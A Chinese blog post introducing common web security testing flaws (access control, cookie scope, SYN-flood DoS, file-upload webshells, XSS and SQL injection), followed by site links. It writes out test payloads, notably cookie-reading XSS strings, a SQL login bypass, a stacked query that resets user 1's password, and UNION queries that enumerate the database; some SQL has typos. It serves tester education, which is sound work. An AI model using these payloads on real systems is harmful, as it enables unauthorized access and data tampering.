web安全测试常见的几种漏洞

AI权益加码!Claude Code、Cursor等20+工具免费用! 购周边限时加赠Coding Plan Lite,畅享主流AI工具!学习进阶更高效! 阅读详情

web安全性测试概述

利用安全性测试技术,找到潜在漏洞。

认证与授权类漏洞

认证:

每一个页面都要进行权限设置,通过session信息来判断。不允许有未经授权直接访问界面的存在,就是不允许存在通过绝对URL在不登陆的情况下来访问。

权限:

每个账户要有对应的权限操作,不可越权操。低权限用户可能通过sudo等命令或在脚本中通过手动su切换用户达到越权目的。

Session 与 Cookie伪造欺骗

避免保存敏感信息在COOKIE文件中,特别是一些敏感系统。
Set-cookie的值中有一个“path=”标记当前session作用域,
不同的应用系统要选择不同的作用域,否则多系统可以相互查看cookie信息

![不同的应用系统要选择不同的作用域,否则多系统可以相互查看cookie信息](https://img-blog.csdnimg.cn/20200404121040666.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1Rlc3RfU2ltb24=,size_16,color_FFFFFF,t_70

DDOS拒绝服务攻击

向服务器大量发送请求导致服务器拒绝服务
利用TCP建立连接的规则:
1)客户端模拟不存在的IP地址向服务器端发请求
2)服务器接收请求后返回给客户端时发送时找不到真实的IP地址继续查找直至等待超时显示给客户端
3)大量的不存在在ip请求长时间占据服务器资源,导致服务器无法处理正常的请求。

文件上传漏洞

上传一个可以执行的脚本,可执行文件的上传可以调用系统命令行对整个系统进行操作。比如一句话木马的上传就可以通过调用系统命令对整个服务器环境进行隐蔽操作。
规避方式:
1)文件长传时要通过二进制对文件类型进行判断,禁止一切可执行文件上传。
2)修改服务器核心参数禁止系统执行脚本命令。

XSS跨站攻击-跨站脚本攻击

可以利用该漏洞获取别的用户的sessionID,从而伪造请求。

如何写XSS脚本:

界面上可以输入文本的地方输入HTML的语言,比如输入<input type="button" value="点击" onclick="alert('how are you')" />看看界面是以文本的方式来储存代码还是直接显示执行后的样式,如果显示为执行后的样式说明存在跨站攻击漏洞。

跨站脚本执行后服务器端是无感知的,但是用户可能会误操作,用户点击都可以通过脚本来获取到当前操作用户的cookie信息,例如:<input type="button" value="点击" onclick="alert(document.cookies)" />获取cookie信息后通过技术手段,比如设置界面跳转将信息保存到另外一个界面或者直接将信息保存到当前界面某个角落。

SQL注入

sql注入是最常用的攻击方式,通过界面用户可以输入的地方构造输入sql语句达到攻击目的。
攻击的方式有获取服务器数据库的内容或者直接修改数据库内容。

登陆用户名密码时验证是否存在sql注入风险

1)输入用户名时我们可以构造sql语句,判断是否存在sql注入问题。
系统登陆的实现逻辑有

username
passwd
select * from user where username='$username' and passwd = '$passwd';

select username ,passwd from  user where username='$username';
if(count()==1)
	if(passwd=$passwd)
		login sucess

如果是第一种,这种安全系数最低,我们可以尝试在用户名输入框构造sql语句。
$username=x’or userid=1 #'输入框输入x’or userid=1 #'输入之后登陆查询的sql语句变成

select * from user where username='x'or userid=1 #'' and passwd = '$passwd';

利用sql语法中#注释掉后边的sql语句,密码不用输入点击登录查看提示信息是否正常。如提示信息异常则说明存在sql注入风险。

mention:一般前端代码会对用户名长度做限制,输入框输入长度会受限,这时我们通过前端协议来进行破解,如果服务器端的密码长度也没有受限就可以顺利进行sql注入。

键入登陆逻辑是

select username ,passwd from  user where username='$username';
if(count()==1)
	if(passwd=$passwd)
		login sucess

我们将用户名写成这个sql语句“ x’;update user set passwd=‘123456’ where userid=1 #’ ”
那么登陆逻辑变成

select username ,passwd from  user where username='x';update user set passwd='123456' where userid=1 #'';
if(count()==1)
	if(passwd=$passwd)
		login sucess

这个操作会将数据库中userid=1的用户密码改成123456;

这样我们不需要用户名和密码就可以直接登陆成功。前提是我们要猜测数据库的名字。
修改密码成功后,我们用123456也不一定能直接登陆,一般情况数据库保存的密码都是前端加密后的,不可能直接是123456.所以我们不能直接修改userID=1的用户密码为123456,而是要改成123456对应加密后的字符(MD5等加密算法)。改成加密后的字符后就可以用123456直接登陆。

利用URL登陆地址进行sql注入

主要是试探是否有sql注入的可能
select * from threat where tid = 23456
23456 order by 10
select * from threat where tid = 23456 order by 10 构造按照第十列排序的sql语句 确定表的字段数

23456 and 1=3
select * from threat where tid = 23456 and 1=3 构造逻辑不对的sql语句

23456’
select * from threat where tid = 23456’ 构造语法不正确的sql语句

构造发现问题时就可以进行sql注入攻击
有问题时可以使用union链接两个sql语句 已知表有5个字段
select * from threat where tid = 23456 and 1=3 union select 1,2,3,4,5
select * from threat where tid = 23456 and 1=3 union select 1,databases(),3,4,5 获取到数据库的名称

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,5 获取到当前 数据库的用户名@主机名

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,from information_shema_tables where table_schema=‘learn’ limit 1 获取到当前 数据库表名

select * from threat where tid = 23456 and 1=3 union select 1,databases(),user(),4,from information_shema_column where table_schema=‘learn’ limit 1

安全测试小白到网络安全大佬的成长之路 文章目录前言一、渗透测试是什么?二、Web安全基础要学习那些知识呢?1.概括总结 前言 最近看到很多的安全小白在询问如何去学习安全,如何去入手渗透测试等问题。突然有感而发,想起来自己当时从小白一步一步走向黑客大佬的成长之路。 随着因特网的发展和网络经济的兴起, 越来越多的企业将服务或交易平台放到了互联网上, 而且这些网络应用服务和企业的营收关联得也更紧密,甚至与企业的命运休戚相关, 但这些暴露在网上的资源往往防御能力比较薄弱, 加大硬件的投入并不能显著改善企业的安全水平, 在如此的瓶颈之下,企业. 阅读详情

相关推荐

【小迪安全学习笔记】WEB漏洞-注入类型及提交注入

在真实SQL注入安全测试中,我们一定要先明确提交数据及提交方法后再进行注入,其中提交数据类型和提交方法可以通过抓包分析获取,后续安全测试中我们也必须满足同等的操作才能进行注入。 ![在这里插入图片描述](https://img-blog.csdnimg.cn/2021060822422727.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L20wXzU

Akrios的博客 524

WEB应用安全测试指南–蓝队安全测试2】--超详细-可直接进行实战!!!亲测-可进行安全及渗透测试

任意文件下载漏洞不同于网站目录浏览,此漏洞不仅仅可遍历系统下 web中的文件,而且可以浏览或者下载到系统中的文件,攻击人员通过任意文件下载漏洞可以获取系统文件及服务器的配置文件等等。一般来说,他们利用服务器 API、文件标准权限进行攻击。严格来说,任意文件下载漏洞并不是一种 web漏洞,而是网站设计人员的设计“漏洞

Dreams°的博客 3242

Web应用安全测试-认证功能缺陷

认证登录环节允许空口令、系统允许多点认证、IP地址伪造、Oauth认证缺陷、能够绕过应用认证直接登录系统等缺陷的测试方案及修复方法

1707

常见安全测试漏洞

SQL 注入攻击主要是由于程序员在开发过程中没有对客户端所传输到服务器端的参数进行严格的安全检查,同时 SQL 语句的执行引用了该参数,并且 SQL 语句采用字符串拼接的方式执行时,攻击者将可能在参数中插入恶意的 SQL 查询语句,导致服务器执行了该恶意 SQL 语句。

cs888zsy的博客 1584

安全测试员必知!5大常见Web安全漏洞及测试方法归纳!

一般来说,版本功能测试完成,对应的用例也实现了自动化,性能、兼容、稳定性测试也完成了以后,我们就需要考虑到系统的安全问题,特别是涉及到交易、支付、用户账户信息的模块,安全漏洞会带来极高的风险。 一、...

cky8792的博客 1757

什么是安全测试?17种安全测试详解!含大模型安全测试

从时代发展的角度看,网络安全的知识是学不完的,而且以后要学的会更多,同学们要摆正心态,既然选择入门网络安全,就不能仅仅只是入门程度而已,能力越强机会才越多。因为入门学习阶段知识点比较杂,所以我讲得比较笼统,大家如果有不懂的地方可以找我咨询,我保证知无不言言无不尽,需要相关资料也可以找我要,我的网盘里一大堆资料都在吃灰呢。干货主要有:①1000+CTF历届题库(主流和经典的应该都有了)②CTF技术文档(最全中文版)③项目源码(四五十个有趣且经典的练手项目及源码)

xnxqwzy的博客 1521

安全测试 —— 你了解WEB安全测试吗?

之前在知乎上回答了一个朋友的提问,是关于安全测试相关面试题的,在回答之余让我也不禁想起了自己还在做软测执行的日子。趁着兴起,和团队里的安全测试小伙伴交流了一下,写下了这篇文章,也希望能帮助到更多正在安全测试道路上前行的小伙伴。

Austin的博客 959

安全测试之路 —— 你了解WEB安全测试吗?

之前在知乎上回答了一个朋友的提问,是关于安全测试相关面试题的,在回答之余让我也不禁想起了自己还在做软测执行的日子。趁着兴起,和团队里的安全测试小伙伴交流了一下,写下了这篇文章,也希望能帮助到更多正在安全测试道路上前行的小伙伴。

m0_58026506的博客 286

(五)安全测试基础:安全测试常见技术

安全测试常见技术概述: 人工检查及复查 软件威胁建模 代码复查 渗透测试 人工检查及复查 概要 人工检查是安全测试过程中,通过人工检查或者审核的方式对应用开发过程中的人,策略和进程,包括技术决策如开发模型设计进行安全检测。人工检查通常采取文件分析或对设计师或系统的所有者进行访谈的方式进行。 虽然人工检查和人员访谈这个概念十分简单,但是它们确是最强大的和有效的可用技术。通过询问别人这件事如何运行,为什么采用当前的运行模式,能够帮助测试人员快速确定是否存在显而易见的安全问题。人工检查及复查是在软件

gzytester的博客 1701

软件安全测试

安全测试一般围绕被保护的资产,通过代码和程序的分析来确定威胁或漏洞的严重程度,以及被利用的可能性和影响,来评估特定威胁或漏洞对企业造成负面影响的风险。除了综合的安全性风险评估之外,安全性测试一般有几种类型:

汪敏的博客 8348

白帽挖洞实战指南:从SQL注入到逻辑漏洞Web安全测试

Web安全测试是网络安全领域的核心实践,其本质在于模拟攻击者思维,发现并验证系统潜在的安全缺陷。其技术原理涉及对应用层协议、业务逻辑和数据流的深度分析,通过构造特殊输入或非预期操作来触发安全漏洞。这项技术的价值在于帮助企业和开发者提前发现风险,避免数据泄露、服务中断等安全事件,是构建可信数字生态的关键环节。在应用场景上,它广泛应用于渗透测试、漏洞众测、安全评估和红蓝对抗等。本文聚焦于Web漏洞挖掘的实战路径,详细解析了SQL注入、XSS、逻辑漏洞常见漏洞的挖掘手法,并系统介绍了信息收集、工具链配置以及漏洞

weixin_34353714的博客 296

OWASP Web 安全测试指南 WSTG

Web 应用程序的开发生命周期中,许多事情都需要测试,但测试实际上意味着什么?测试(名词):旨在确定某物的质量、性能或可靠性的程序,尤其是在它被广泛使用之前。就本文档而言,测试是将系统或应用程序的状态与一组标准进行比较的过程。在安全行业,人们经常根据一套既不明确也不完整的心理标准进行测试。因此,许多局外人将安全测试视为一门黑色艺术。本文档的目的是改变这种看法,并使没有深入安全知识的人更容易在测试中有所作为。

seanyang_的博客 1600

常见web漏洞

Web安全漏洞是指网络应用程序中的缺陷,这些缺陷可以被攻击者利用来破坏、窃取数据或干扰正常的服务。

qq_43355651的博客 513

常见安全扫描漏洞的工具、漏洞分类及处理

1.1. Unix/Linux漏洞 升级相应产商的系统版本或查找对应漏洞的补丁文件1.2. OpenSSH漏洞 OpenSSH 输入验证错误漏洞(CVE-2019-16905) OpenSSH 命令注入漏洞(CVE-2020-15778) OpenSSH 安全漏洞(CVE-2021-28041) 修复建议: 一般也是升级相应的OpenSSH版本1.3Nginx漏洞 1.3.1导致拒绝服务漏洞 HTTP/2是超文本传输协议的第二版,主要用于保证客户机与服务器之间的通信。HTTP/2中存在资源管理错误漏洞。攻击

qq_41831448的博客 9879

Web开发常见的几个漏洞解决方法

Web开发常见的几个漏洞解决方法 平时工作,多数是开发Web项目,由于一般是开发内部使用的业务系统,所以对于安全性一般不是看的很重,基本上由于是内网系统,一般也很少会受到攻击,但有时候一些系统平台,需要外网也要使用,这种情况下,各方面的安全性就要求比较高了,所以往往会交付给一些专门做安全测试的第三方机构进行测试,然后根据反馈的漏洞进行修复,如果你平常对于一些安全漏洞不够了解,那么反馈的结

qkqlqq0288的专栏 560
上一篇: 测试注意点-数据类型和取值范围
下一篇: 性能测试与Jmeter测试原理---(1)
Test_Simon
博客等级 码龄6年 1粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值